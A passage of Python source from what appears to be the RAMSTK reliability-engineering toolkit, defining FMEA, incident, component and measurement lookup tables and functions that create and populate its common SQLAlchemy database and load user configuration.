4: ('mins', 'minutes', 'unit'),\n 5: ('secs', 'seconds', 'unit'),\n 6: ('g', 'grams', 'unit'),\n 7: ('oz', 'ounces', 'unit'),\n 8: ('A', 'Amperes', 'unit'),\n 9: ('V', 'Volts', 'unit'),\n 10: ('CN', 'Contamination, Concentration', 'damage'),\n 11: ('CS', 'Contamination, Particle Size', 'damage'),\n 12: ('LD', 'Dynamic Load', 'damage'),\n 13: ('LM', 'Load, Maximum', 'damage'),\n 14: ('LMM', 'Load, Minimum-Maximum', 'damage'),\n 15: ('NBC', 'Number of Braking Events', 'damage'),\n 16: ('NC', 'Number of Cycles', 'damage'),\n 17: ('NOE', 'Number of Overload Events', 'damage'),\n 18: ('NS', 'Number of Shifts', 'damage'),\n 19: ('TIME', 'Operating Time at Condition', 'damage'),\n 20: ('PAVG', 'Pressure, Average', 'damage'),\n 21: ('DELTAP', 'Pressure, Differential', 'damage'),\n 22: ('PPEAK', 'Pressure, Peak', 'damage'),\n 23: ('RPM', 'Revolutions per Time', 'damage'),\n 24: ('TAMB', 'Temperature, Ambient', 'damage'),\n 25: ('TAVG', 'Temperature, Average', 'damage'),\n 26: ('DELTAT', 'Temperature, Differential', 'damage'),\n 27: ('TPEAK', 'Temperature, Peak', 'damage'),\n 28: ('TEMP', 'Temperature = f(Time)', 'damage'),\n 29: ('T', 'Torque', 'damage')\n}\n\nRAMSTK_METHODS = {\n 0: ('Code Reviews', '', 'detection'),\n 1: ('Error/Anomaly Detection', '', 'detection'),\n 2: ('Structure Analysis', '', 'detection'),\n 3: ('Random Testing', '', 'detection'),\n 4: ('Functional Testing', '', 'detection'),\n 5: ('Branch Testing', '', 'detection')\n}\n\nRAMSTK_MODELS = {\n 0: ('Adhesion Wear Model for Bearings', 1),\n 1: ('Arrhenius', 1),\n 2: ('Coffin-Manson', 1),\n 3: ('Empirical/DOE', 1),\n 4: ('Eyring', 1),\n 5: ('Inverse Power Law (IPL)', 1),\n 6: ('IPL - Arrhenius', 1),\n 7: ('Time Fraction of Damaging Operating Conditions', 1)\n}\n\nRAMSTK_RPNS = {\n 0: ('None', 'No effect.', 'severity', 1),\n 1: ('Very Minor', 'System operable with minimal interference.', 'severity',\n 2),\n 2: ('Minor', 'System operable with some degradation of performance.',\n 'severity', 3),\n 3: ('Very Low', 'System operable with significant degradation of '\n 'performance.', 'severity', 4),\n 4: ('Low', 'System inoperable without damage.', 'severity', 5),\n 5: ('Moderate', 'System inoperable with minor damage.', 'severity', 6),\n 6: ('High', 'System inoperable with system damage.', 'severity', 7),\n 7: ('Very High', 'System inoperable with destructive failure '\n 'without compromising safety.', 'severity', 8),\n 8: ('Hazardous, with warning',\n 'Failure effects safe system operation with warning.', 'severity', 9),\n 9:\n ('Hazardous, without warning',\n 'Failure effects safe system operation without warning.', 'severity', 10),\n 10: ('Remote', 'Failure rate is 1 in 1,500,000.', 'occurrence', 1),\n 11: ('Very Low', 'Failure rate is 1 in 150,000.', 'occurrence', 2),\n 12: ('Low', 'Failure rate is 1 in 15,000', 'occurrence', 3),\n 13: ('Moderately Low', 'Failure rate is 1 in 2000.', 'occurrence', 4),\n 14: ('Moderate', 'Failure rate is 1 in 400.', 'occurrence', 5),\n 15: ('Moderately High', 'Failure rate is 1 in 80.', 'occurrence', 6),\n 16: ('High', 'Failure rate is 1 in 20.', 'occurrence', 7),\n 17: ('Very High', 'Failure rate is 1 in 8.', 'occurrence', 8),\n 18: ('Extremely High', 'Failure rate is 1 in 3.', 'occurrence', 9),\n 19: ('Dangerously High', 'Failure rate is > 1 in 2.', 'occurrence', 10),\n 20: ('Almost Certain',\n 'Design control will almost certainly detect a potential '\n 'mechanism/cause and subsequent failure mode.', 'detection', 1),\n 21: ('Very High', 'Very high chance the existing design controls '\n 'will or can detect a potential mechanism/cause and '\n 'subsequent failure mode.', 'detection', 2),\n 22: ('High', 'High chance the existing design controls will or '\n 'can detect a potential mechanism/cause and subsequent '\n 'failure mode.', 'detection', 3),\n 23: ('Moderately High', 'Moderately high chance the existing '\n 'design controls will or can detect a potential '\n 'mechanism/cause and subsequent failure mode.', 'detection', 4),\n 24: ('Moderate', 'Moderate chance the existing design controls '\n 'will or can detect a potential mechanism/cause and '\n 'subsequent failure mode.', 'detection', 5),\n 25: ('Low', 'Low chance the existing design controls will or can '\n 'detect a potential mechanism/cause and subsequent failure '\n 'mode.', 'detection', 6),\n 26: ('Very Low', 'Very low chance the existing design controls '\n 'will or can detect a potential mechanism/cause and '\n 'subsequent failure mode.', 'detection', 7),\n 27: ('Remote', 'Remote chance the existing design controls will '\n 'or can detect a potential mechanism/cause and subsequent '\n 'failure mode.', 'detection', 8),\n 28: ('Very Remote', 'Very remote chance the existing design '\n 'controls will or can detect a potential mechanism/cause and '\n 'subsequent failure mode.', 'detection', 9),\n 29: ('Absolute Uncertainty', 'Existing design controls will not '\n 'or cannot detect a potential mechanism/cause and subsequent '\n 'failure mode; there is no design control.', 'detection', 10)\n}\n\nRAMSTK_STAKEHOLDERS = {\n 0: 'Customer',\n 1: 'Service',\n 2: 'Manufacturing',\n 3: 'Management'\n}\n\nRAMSTK_STATUSES = {\n 0: ('Initiated', 'Incident has been initiated.', 'incident'),\n 1: ('Reviewed', 'Incident has been reviewed.', 'incident'),\n 2: ('Analysis', 'Incident has been assigned and is being analyzed.',\n 'incident'),\n 3: ('Solution Identified',\n 'A solution to the reported problem has been identified.', 'incident'),\n 4:\n ('Solution Implemented',\n 'A solution to the reported problem has been implemented.', 'incident'),\n 5: ('Solution Verified',\n 'A solution to the reported problem has been verified.', 'incident'),\n 6: ('Ready for Approval', 'Incident analysis is ready to be approved.',\n 'incident'),\n 7: ('Approved', 'Incident analysis has been approved.', 'incident'),\n 8: ('Ready for Closure', 'Incident is ready to be closed.', 'incident'),\n 9: ('Closed', 'Incident has been closed.', 'incident'),\n 10: ('Initiated', 'Action has been initiated.', 'action'),\n 11: ('Reviewed', 'Action has been reviewed.', 'action'),\n 12: ('Approved', 'Action has been approved.', 'action'),\n 13: ('Ready for Closure', 'Action is ready to be closed.', 'action'),\n 14: ('Closed', 'Action has been closed.', 'action')\n}\n\nRAMSTK_SUBCATEGORIES = [\n (1, 1, 'Linear'), (1, 2, 'Logic'), (1, 3, 'PAL, PLA'),\n (1, 4, 'Microprocessor, Microcontroller'), (1, 5, 'Memory, ROM'),\n (1, 6, 'Memory, EEPROM'), (1, 7, 'Memory, DRAM'), (1, 8, 'Memory, SRAM'),\n (1, 9, 'GaAs'), (1, 10, 'VHSIC, VLSI'), (2, 12, 'Diode, Low Frequency'),\n (2, 13, 'Diode, High Frequency'),\n (2, 14, 'Transistor, Low Frequency, Bipolar'),\n (2, 15, 'Transistor, Low Frequency, Si FET'),\n (2, 16, 'Transistor, Unijunction'),\n (2, 17, 'Transistor, High Frequency, Low Noise, Bipolar'),\n (2, 18, 'Transistor, High Frequency, High Power, Bipolar'),\n (2, 19, 'Transistor, High Frequency, GaAs FET'),\n (2, 20, 'Transistor, High Frequency, Si FET'), (2, 21, 'Thyristor, SCR'),\n (2, 22, 'Optoelectronic, Detector, Isolator, Emitter'),\n (2, 23, 'Optoelectronic, Alphanumeric Display'),\n (2, 24, 'Optoelectronic, Laser Diode'),\n (3, 25, 'Fixed, Composition (RC, RCR)'),\n (3, 26, 'Fixed, Film (RL, RLR, RN, RNC, RNN, RNR)'),\n (3, 27, 'Fixed, Film, Power (RD)'), (3, 28, 'Fixed, Film, Network (RZ)'),\n (3, 29, 'Fixed, Wirewound (RB, RBR)'),\n (3, 30, 'Fixed, Wirewound, Power (RW, RWR)'),\n (3, 31, 'Fixed, Wirewound, Power, Chassis-Mounted (RE, RER)'),\n (3, 32, 'Thermistor (RTH)'), (3, 33, 'Variable, Wirewound (RT, RTR)'),\n (3, 34, 'Variable, Wirewound, Precision (RR)'),\n (3, 35, 'Variable, Wirewound, Semiprecision (RA, RK)'),\n (3, 36, 'Variable, Wirewound, Power (RP)'),\n (3, 37, 'Variable, Non-Wirewound (RJ, RJR)'),\n (3, 38, 'Variable, Composition (RV)'),\n (3, 39, 'Variable, Non-Wirewound, Film and Precision (RQ, RVC)'),\n (4, 40, 'Fixed, Paper, Bypass (CA, CP)'),\n (4, 41, 'Fixed, Feed-Through (CZ, CZR)'),\n (4, 42, 'Fixed, Paper and Plastic Film (CPV, CQ, CQR)'),\n (4, 43, 'Fixed, Metallized Paper, Paper-Plastic and Plastic (CH, CHR)'),\n (4, 44, 'Fixed, Plastic and Metallized Plastic'),\n (4, 45, 'Fixed, Super-Metallized Plastic (CRH)'),\n (4, 46, 'Fixed, Mica (CM, CMR)'), (4, 47, 'Fixed, Mica, Button (CB)'),\n (4, 48, 'Fixed, Glass (CY, CYR)'),\n (4, 49, 'Fixed, Ceramic, General Purpose (CK, CKR)'),\n (4, 50,\n 'Fixed, Ceramic, Temperature Compensating and Chip (CC, CCR, CDR)'),\n (4, 51, 'Fixed, Electrolytic, Tantalum, Solid (CSR)'),\n (4, 52, 'Fixed, Electrolytic, Tantalum, Non-Solid (CL, CLR)'),\n (4, 53, 'Fixed, Electrolytic, Aluminum (CU, CUR)'),\n (4, 54, 'Fixed, Electrolytic (Dry), Aluminum (CE)'),\n (4, 55, 'Variable, Ceramic (CV)'), (4, 56, 'Variable, Piston Type (PC)'),\n (4, 57, 'Variable, Air Trimmer (CT)'),\n (4, 58, 'Variable and Fixed, Gas or Vacuum (CG)'), (5, 62, 'Transformer'),\n (5, 63, 'Coil'), (6, 64, 'Mechanical'), (6, 65, 'Solid State'),\n (7, 67, 'Toggle or Pushbutton'), (7, 68, 'Sensitive'), (7, 69, 'Rotary'),\n (7, 70, 'Thumbwheel'), (7, 71, 'Circuit Breaker'), (8, 72, 'Multi-Pin'),\n (8, 73, 'PCB Edge'), (8, 74, 'IC Socket'),\n (8, 75, 'Plated Through Hole (PTH)'), (8, 76, 'Connection, Non-PTH'),\n (9, 77, 'Elapsed Time'), (9, 78, 'Panel'), (10, 80, 'Crystal'),\n (10, 81, 'Filter, Non-Tunable Electronic'), (10, 82, 'Fuse'),\n (10, 83, 'Lamp')\n]\n\nRAMSTK_TYPES: Dict[int, Tuple[str, str, str]] = {\n 1: ('PLN', 'Planning', 'incident'),\n 2: ('CON', 'Concept', 'incident'),\n 3: ('RQMT', 'Requirement', 'incident'),\n 4: ('DES', 'Design', 'incident'),\n 5: ('COD', 'Coding', 'incident'),\n 6: ('DB', 'Database', 'incident'),\n 7: ('TI', 'Test Information', 'incident'),\n 8: ('MAN', 'Manuals', 'incident'),\n 9: ('OTH', 'Other', 'incident'),\n 10: ('FUN', 'Functional', 'requirement'),\n 11: ('PRF', 'Performance', 'requirement'),\n 12: ('REG', 'Regulatory', 'requirement'),\n 13: ('REL', 'Reliability', 'requirement'),\n 14: ('SAF', 'Safety', 'requirement'),\n 15: ('SVC', 'Serviceability', 'requirement'),\n 16: ('USE', 'Useability', 'requirement'),\n 17: ('DOE', 'Manufacturing Test, DOE', 'validation'),\n 18: ('ESS', 'Manufacturing Test, ESS', 'validation'),\n 19: ('HSS', 'Manufacturing Test, HASS', 'validation'),\n 20: ('PRT', 'Manufacturing Test, PRAT', 'validation'),\n 21: ('RAA', 'Reliability, Assessment', 'validation'),\n 22: ('RDA', 'Reliability, Durability Analysis', 'validation'),\n 23: ('RFF', 'Reliability, FFMEA', 'validation'),\n 24: ('RDF', 'Reliability, (D)FMEA', 'validation'),\n 25: ('RCA', 'Reliability, Root Cause Analysis', 'validation'),\n 26: ('RSA', 'Reliability, Survival Analysis', 'validation'),\n 27: ('ALT', 'Reliability Test, ALT', 'validation'),\n 28: ('RDT', 'Reliability Test, Demonstration', 'validation'),\n 29: ('HLT', 'Reliability Test, HALT', 'validation'),\n 30: ('RGT', 'Reliability Test, Growth', 'validation'),\n 31: ('FTA', 'Safety, Fault Tree Analysis', 'validation'),\n 32: ('PHA', 'Safety, Hazards Analysis', 'validation'),\n 33: ('EMA', 'System Engineering, Electromagnetic Analysis', 'validation'),\n 34: ('FEA', 'System Engineering, FEA', 'validation'),\n 35: ('2DM', 'System Engineering, 2D Model', 'validation'),\n 36: ('3DM', 'System Engineering, 3D Model', 'validation'),\n 37: ('SRD', 'System Engineering, Robust Design', 'validation'),\n 38: ('SCA', 'System Engineering, Sneak Circuit Analysis', 'validation'),\n 39: ('THA', 'System Engineering, Thermal Analysis', 'validation'),\n 40: ('TOL', 'System Engineering, Tolerance Analysis', 'validation'),\n 41: ('WCA', 'System Engineering, Worst Case Analysis', 'validation')\n}\n\n\ndef _load_fmea_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKFailureMode and RAMSTKRPN.\"\"\"\n _cat_key: int = 0\n _subcat_key: int = 0\n _mode_key: int = 0\n _rpn = Tuple[str, str, str, int]\n _method = Tuple[str, str, str]\n\n for _cat_key in RAMSTK_FAILURE_MODES:\n _record = RAMSTKFailureMode()\n _record.category_id = _cat_key\n for _subcat_key in RAMSTK_FAILURE_MODES[_cat_key]:\n _record.subcategory_id = _subcat_key\n for _mode_key in RAMSTK_FAILURE_MODES[_cat_key][_subcat_key]:\n _record.mode_id = _mode_key\n _record.description = RAMSTK_FAILURE_MODES[_cat_key][\n _subcat_key][_mode_key][0]\n _record.mode_ratio = RAMSTK_FAILURE_MODES[_cat_key][\n _subcat_key][_mode_key][1]\n _record.source = RAMSTK_FAILURE_MODES[_cat_key][_subcat_key][\n _mode_key][2]\n session.add(_record)\n # pylint: disable=unused-variable\n for __, _rpn in list(RAMSTK_RPNS.items()):\n _record = RAMSTKRPN()\n _record.name = _rpn[0]\n _record.description = _rpn[1]\n _record.rpn_type = _rpn[2]\n _record.value = _rpn[3]\n session.add(_record)\n # pylint: disable=unused-variable\n for __, _method in list(RAMSTK_METHODS.items()):\n _record = RAMSTKMethod()\n _record.name = _method[0]\n _record.description = _method[1]\n _record.method_type = _method[2]\n session.add(_record)\n\n try:\n session.commit()\n except exc.IntegrityError as _error:\n print(_error)\n\n\ndef _load_hazard_analysis_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKHazards.\"\"\"\n _hazard = Tuple[str, str]\n\n # pylint: disable=unused-variable\n for __, _hazard in list(RAMSTK_HAZARDS.items()):\n _record = RAMSTKHazards()\n _record.category = _hazard[0]\n _record.subcategory = _hazard[1]\n session.add(_record)\n\n session.commit()\n\n\ndef _load_incident_report_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKStatus and RAMSTKType.\"\"\"\n _status = Tuple[str, str, str]\n _type = Tuple[str, str, str]\n\n # pylint: disable=unused-variable\n for __, _status in list(RAMSTK_STATUSES.items()):\n _record = RAMSTKStatus()\n _record.name = _status[0]\n _record.description = _status[1]\n _record.status_type = _status[2]\n session.add(_record)\n # pylint: disable=unused-variable\n for __, _type in list(RAMSTK_TYPES.items()):\n _record = RAMSTKType()\n _record.code = _type[0]\n _record.description = _type[1]\n _record.type_type = _type[2]\n session.add(_record)\n\n session.commit()\n\n\ndef _load_miscellaneous_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKCategory and RAMSTKSubCategory.\"\"\"\n _category = Tuple[str, str, str, int, float, float, float, float, float,\n float, float, float, float, float]\n _subcategory = Tuple[int, int, str]\n _manufacturer = Tuple[str, str, str]\n _measurement = Tuple[str, str, str]\n\n # pylint: disable=unused-variable\n for __, _category in list(RAMSTK_CATEGORIES.items()):\n _record = RAMSTKCategory()\n _record.name = _category[0]\n _record.description = _category[1]\n _record.cat_type = _category[2]\n _record.value = _category[3]\n _record.harsh_ir_limit = _category[4]\n _record.mild_ir_limit = _category[5]\n _record.harsh_pr_limit = _category[6]\n _record.mild_pr_limit = _category[7]\n _record.harsh_vr_limit = _category[8]\n _record.mild_vr_limit = _category[9]\n _record.harsh_deltat_limit = _category[10]\n _record.mild_deltat_limit = _category[11]\n _record.harsh_maxt_limit = _category[12]\n _record.mild_maxt_limit = _category[13]\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _subcategory in enumerate(RAMSTK_SUBCATEGORIES):\n _record = RAMSTKSubCategory()\n _record.category_id = _subcategory[0]\n _record.subcategory_id = _subcategory[1]\n _record.description = _subcategory[2]\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _manufacturer in list(RAMSTK_MANUFACTURERS.items()):\n _record = RAMSTKManufacturer()\n _record.description = _manufacturer[0]\n _record.location = _manufacturer[1]\n _record.cage_code = _manufacturer[2]\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _measurement in list(RAMSTK_MEASUREMENTS.items()):\n _record = RAMSTKMeasurement()\n _record.code = _measurement[0]\n _record.description = _measurement[1]\n _record.measurement_type = _measurement[2]\n session.add(_record)\n\n session.commit()\n\n\ndef _load_pof_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKCondition, RAMSTKLoadHistory, and RAMSTKModel.\"\"\"\n _condition = Tuple[str, str]\n _history: str = ''\n _model = Tuple[str, int]\n\n # pylint: disable=unused-variable\n for __, _condition in list(RAMSTK_CONDITIONS.items()):\n _record = RAMSTKCondition()\n _record.description = _condition[0]\n _record.cond_type = _condition[1]\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _history in list(RAMSTK_HISTORIES.items()):\n _record = RAMSTKLoadHistory()\n _record.description = _history\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _model in list(RAMSTK_MODELS.items()):\n _record = RAMSTKModel()\n _record.description = _model[0]\n _record.model_type = _model[1]\n session.add(_record)\n\n session.commit()\n\n\ndef _load_requirements_analysis_tables(session: scoped_session) -> None:\n \"\"\"Load RAMSTKStakeholders.\"\"\"\n _group = Tuple[str, str]\n _stakeholder: str = ''\n\n # pylint: disable=unused-variable\n for __, _group in list(RAMSTK_GROUPS.items()):\n _record = RAMSTKGroup()\n _record.description = _group[0]\n _record.group_type = _group[1]\n session.add(_record)\n\n # pylint: disable=unused-variable\n for __, _stakeholder in list(RAMSTK_STAKEHOLDERS.items()):\n _record = RAMSTKStakeholders()\n _record.stakeholder = _stakeholder\n session.add(_record)\n\n session.commit()\n\n\ndef _load_site_info(session: scoped_session) -> None:\n \"\"\"Load RAMSTKSiteInfo.\"\"\"\n _cwd = os.getcwd()\n _license_key: str = '0000'\n _expire_date: date = date.today() + timedelta(days=30)\n\n try:\n license_file = open(_cwd + '/license.key', 'r')\n _contents = license_file.readlines()\n _license_key = _contents[0].strip('\\n')\n _expire_date = datetime.strptime(_contents[1], '%Y-%m-%d')\n license_file.close()\n except IOError:\n _error_msg = (\"Unable to read license key file. Defaulting to a \"\n \"30-day demo license.\")\n pub.sendMessage('fail_read_license', error_message=_error_msg)\n\n _site_info = RAMSTKSiteInfo()\n _site_info.product_key = _license_key\n _site_info.expire_on = _expire_date\n session.add(_site_info)\n\n session.commit()\n\n\ndef do_add_administrator(session: scoped_session) -> None:\n \"\"\"Add a new administrator to the RAMSTK pool.\"\"\"\n _user = RAMSTKUser()\n\n _yn = input( # nosec\n _(\"Would you like to add a RAMSTK Administrator? ([y]/n): \")) or 'y'\n\n if _yn.lower() == 'y':\n _user.user_lname = input( # nosec\n _(\"Enter the RAMSTK Administrator's last name (surname): \"))\n _user.user_fname = input( # nosec\n _(\"Enter the RAMSTK Administrator's first name (given name): \"))\n _user.user_email = input( # nosec\n _(\"Enter the RAMSTK Administrator's e-mail address: \"))\n _user.user_phone = input( # nosec\n _(\"Enter the RAMSTK Administrator's phone number: \"))\n _user.user_group_id = 1\n\n session.add(_user)\n session.commit()\n\n\ndef do_create_common_db(engine: Engine, session: scoped_session) -> None:\n \"\"\"Create and populate the RAMSTK Common database.\n\n :param engine: the SQLAlchemy Engine connected to the database.\n :param session: the SQLAlchemy session to use when creating the database.\n :return: None\n :rtype: None\n \"\"\"\n do_make_commondb_tables(engine)\n\n _load_site_info(session)\n\n _load_miscellaneous_tables(session)\n _load_fmea_tables(session)\n _load_hazard_analysis_tables(session)\n _load_pof_tables(session)\n _load_requirements_analysis_tables(session)\n _load_incident_report_tables(session)\n\n # Add a new admin user.\n do_add_administrator(session)\n\n session.commit()\n\n\ndef do_make_commondb_tables(engine: Engine) -> None:\n \"\"\"Create all the tables in the RAMSTK Common database.\n\n :param engine: the SQLAlchemy database engine to use to create the common\n database tables.\n :type engine: :class:`sqlalchemy.engine.Engine`\n :return: None\n :rtype: None\n \"\"\"\n RAMSTKSiteInfo.__table__.create(bind=engine)\n RAMSTKCategory.__table__.create(bind=engine)\n RAMSTKCondition.__table__.create(bind=engine)\n RAMSTKFailureMode.__table__.create(bind=engine)\n RAMSTKGroup.__table__.create(bind=engine)\n RAMSTKHazards.__table__.create(bind=engine)\n RAMSTKLoadHistory.__table__.create(bind=engine)\n RAMSTKManufacturer.__table__.create(bind=engine)\n RAMSTKMeasurement.__table__.create(bind=engine)\n RAMSTKMethod.__table__.create(bind=engine)\n RAMSTKModel.__table__.create(bind=engine)\n RAMSTKRPN.__table__.create(bind=engine)\n RAMSTKStakeholders.__table__.create(bind=engine)\n RAMSTKStatus.__table__.create(bind=engine)\n RAMSTKSubCategory.__table__.create(bind=engine)\n RAMSTKType.__table__.create(bind=engine)\n RAMSTKUser.__table__.create(bind=engine)\n\n\ndef _do_load_action_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTK_ACTION_CATEGORY variable.\n\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKCategory).filter(\n RAMSTKCategory.category_type == 'action').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_ACTION_CATEGORY[_record.category_id] = (\n _attributes['name'],\n _attributes['description'],\n _attributes['category_type'],\n _attributes['value'],\n )\n for _record in site_db.session.query(RAMSTKStatus).\\\n filter(RAMSTKStatus.status_type == 'action').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_ACTION_STATUS[_record.status_id] = (\n _attributes['name'],\n _attributes['description'],\n _attributes['status_type'],\n )\n\n\ndef _do_load_hardware_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load variables associated with hardware categories and failure modes.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKCategory).\\\n filter(RAMSTKCategory.category_type == 'hardware').all():\n\n _subcats = {}\n user_configuration.RAMSTK_FAILURE_MODES[_record.category_id] = {}\n user_configuration.RAMSTK_STRESS_LIMITS[_record.category_id] = (\n _record.harsh_ir_limit, _record.mild_ir_limit,\n _record.harsh_pr_limit, _record.mild_pr_limit,\n _record.harsh_vr_limit, _record.mild_vr_limit,\n _record.harsh_deltat_limit, _record.mild_deltat_limit,\n _record.harsh_maxt_limit, _record.mild_maxt_limit)\n for _subcat in site_db.session.query(RAMSTKSubCategory).\\\n filter(RAMSTKSubCategory.category_id == _record.category_id).\\\n all():\n _subcats[_subcat.subcategory_id] = _subcat.description\n\n _modes = {}\n user_configuration.RAMSTK_FAILURE_MODES[_record.category_id][\n _subcat.subcategory_id] = {}\n for _mode in site_db.session.query(RAMSTKFailureMode).filter(\n RAMSTKFailureMode.category_id == _record.category_id\n ).filter(RAMSTKFailureMode.subcategory_id ==\n _subcat.subcategory_id).all():\n _modes[_mode.mode_id] = [\n _mode.description,\n _mode.mode_ratio,\n _mode.source,\n ]\n\n user_configuration.RAMSTK_FAILURE_MODES[_record.category_id][\n _subcat.subcategory_id] = _modes\n\n user_configuration.RAMSTK_CATEGORIES[\n _record.category_id] = _record.description\n user_configuration.RAMSTK_SUBCATEGORIES[_record.category_id] = _subcats\n\n\ndef _do_load_incident_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTK_INCIDENT_CATEGORY variable.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKCategory).\\\n filter(RAMSTKCategory.category_type == 'incident').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_INCIDENT_CATEGORY[_record.category_id] = (\n _attributes['name'],\n _attributes['description'],\n _attributes['category_type'],\n _attributes['value'],\n )\n for _record in site_db.session.query(RAMSTKStatus).\\\n filter(RAMSTKStatus.status_type == 'incident').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_INCIDENT_STATUS[_record.status_id] = (\n _attributes['name'],\n _attributes['description'],\n _attributes['status_type'],\n )\n for _record in site_db.session.query(RAMSTKType).\\\n filter(RAMSTKType.type_type == 'incident').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_INCIDENT_TYPE[_record.type_id] = (\n _attributes['code'],\n _attributes['description'],\n _attributes['type_type'],\n )\n\n\ndef _do_load_miscellaneous_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load miscellaneous variables that don't fit in another grouping.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKMethod).\\\n filter(RAMSTKMethod.method_type == 'detection').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_DETECTION_METHODS[_record.method_id] = (\n _attributes['name'],\n _attributes['description'],\n _attributes['method_type'],\n )\n for _record in site_db.session.query(RAMSTKHazards).all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_HAZARDS[_record.hazard_id] = (\n _attributes['hazard_category'], _attributes['hazard_subcategory'])\n for _record in site_db.session.query(RAMSTKManufacturer).all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_MANUFACTURERS[_record.manufacturer_id] = (\n _attributes['description'], _attributes['location'],\n _attributes['cage_code'])\n for _record in site_db.session.query(RAMSTKMeasurement).\\\n filter(RAMSTKMeasurement.measurement_type == 'unit').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_MEASUREMENT_UNITS[_record.measurement_id] = (\n _attributes['code'], _attributes['description'],\n _attributes['measurement_type'])\n for _record in site_db.session.query(RAMSTKType).\\\n filter(RAMSTKType.type_type == 'validation').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_VALIDATION_TYPE[_record.type_id] = (\n _attributes['code'], _attributes['description'],\n _attributes['type_type'])\n\n\ndef _do_load_pof_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTK_DAMAGE_MODELS variable.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKModel). \\\n filter(RAMSTKModel.model_type == 'damage').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_DAMAGE_MODELS[_record.model_id] = (\n _attributes['description'])\n for _record in site_db.session.query(RAMSTKLoadHistory).all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_LOAD_HISTORY[_record.history_id] = (\n _attributes['description'])\n for _record in site_db.session.query(RAMSTKMeasurement). \\\n filter(RAMSTKMeasurement.measurement_type == 'damage').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_MEASURABLE_PARAMETERS[\n _record.measurement_id] = (_attributes['code'],\n _attributes['description'],\n _attributes['measurement_type'])\n\n\ndef _do_load_requirement_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load variables related to requiremetents and stakeholders.\n\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKGroup).\\\n filter(RAMSTKGroup.group_type == 'affinity').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_AFFINITY_GROUPS[_record.group_id] = (\n _attributes['description'],\n _attributes['group_type'],\n )\n for _record in site_db.session.query(RAMSTKType).\\\n filter(RAMSTKType.type_type == 'requirement').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_REQUIREMENT_TYPE[_record.type_id] = (\n _attributes['code'], _attributes['description'],\n _attributes['type_type'])\n for _record in site_db.session.query(RAMSTKStakeholders).all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_STAKEHOLDERS[_record.stakeholders_id] = (\n _attributes['stakeholder'])\n\n\ndef _do_load_rpn_variables(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RPN detection, occurremce, and severity variables.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKRPN).\\\n filter(RAMSTKRPN.rpn_type == 'detection').all():\n user_configuration.RAMSTK_RPN_DETECTION[_record.value] = \\\n _record.get_attributes()\n\n for _record in site_db.session.query(RAMSTKRPN).\\\n filter(RAMSTKRPN.rpn_type == 'occurrence').all():\n user_configuration.RAMSTK_RPN_OCCURRENCE[_record.value] = \\\n _record.get_attributes()\n\n for _record in site_db.session.query(RAMSTKRPN). \\\n filter(RAMSTKRPN.rpn_type == 'severity').all():\n user_configuration.RAMSTK_RPN_SEVERITY[_record.value] = \\\n 